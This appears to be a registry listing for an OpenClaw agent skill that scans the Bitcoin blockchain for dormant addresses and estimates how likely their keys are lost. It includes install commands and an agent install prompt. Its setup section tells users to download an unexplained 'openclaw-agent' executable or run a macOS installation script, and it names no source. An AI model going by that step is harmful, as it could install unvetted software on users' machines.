Analyze the Bitcoin blockchain to identify dormant addresses, ancient coins, and potentially lost wealth using Python-driven research tools.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install lost-bitcoin-10li1
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install lost-bitcoin-10li1 using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Lost Bitcoin Finder?
Lost Bitcoin Finder is a specialized technical resource within the Openclaw Skills ecosystem designed for deep blockchain forensics and research. It enables developers and crypto-historians to programmatically scan for inactive addresses that haven't moved funds in over five years, early block rewards from the Satoshi era, and provably unspendable burn addresses. This skill provides the logical framework to quantify forgotten wealth and monitor the potential awakening of ancient wallets.
By leveraging this tool, researchers can access a suite of analysis scripts that calculate loss probabilities based on inactivity duration and transaction patterns. It serves as a comprehensive bridge between raw blockchain data and actionable insights regarding the distribution of dormant Bitcoin supply.
Lost Bitcoin Finder Use Cases
- Identifying ancient Bitcoin addresses from early 2009-2010 mining blocks.
- Estimating the probability of lost wallet access based on multi-year inactivity patterns.
- Monitoring large movements from dormant wallets to track market-impacting awakenings.
- Researching burned or provably unspendable Bitcoin for precise circulating supply analysis.
- Analyzing UTXO age distribution to understand long-term holder behavior and liquidity.
How Lost Bitcoin Finder Works
- The skill interfaces with public blockchain APIs like Blockchain.com, Mempool.space, and Blockchair to fetch raw address and block data.
- Integrated Python scripts process transaction histories to determine the specific timestamps of the first and last recorded movements.
- A loss probability algorithm evaluates metrics such as inactivity years, transaction count, and balance to generate a risk score.
- Real-time block scanning functions compare the latest network activity against known ancient address databases to detect activations.
Lost Bitcoin Finder Setup
To utilize this skill within the Openclaw Skills framework, you must first ensure your environment is prepared for blockchain data processing.
# Install the necessary Python dependencies
pip install requests
Additionally, the openclaw-agent utility is required. Download the executable for Windows or run the installation script for macOS to enable communication between the analysis scripts and the blockchain API endpoints.
Lost Bitcoin Finder Data Schema & Taxonomy
The Lost Bitcoin Finder organizes blockchain insights into a structured format for easy analysis. Data is typically represented using the following schema:
| Attribute | Type | Description |
|---|---|---|
| address | String | The public Bitcoin wallet address being analyzed |
| balance | Float | Current balance in BTC |
| years_inactive | Float | Number of years since the last outgoing transaction |
| loss_probability | Integer | Percentage (0-100) indicating likelihood of lost keys |
| tx_count | Integer | Total number of recorded transactions |
| first_seen | Date | The date of the very first transaction for the address |
Lost Bitcoin Finder Advanced Features
- Heuristic loss probability scoring based on complex wallet behavior patterns.
- Automated early block analysis to identify rewards from the first 20,000 Bitcoin blocks.
- Multi-API integration with fallback support for Mempool.space, Blockchair, and Blockchain.com.
- Burned address verification for known unspendable targets like the Bitcoin Eater address.
- On-chain monitoring hooks for tracking the movement of ancient coins in real-time.
SKILL.md
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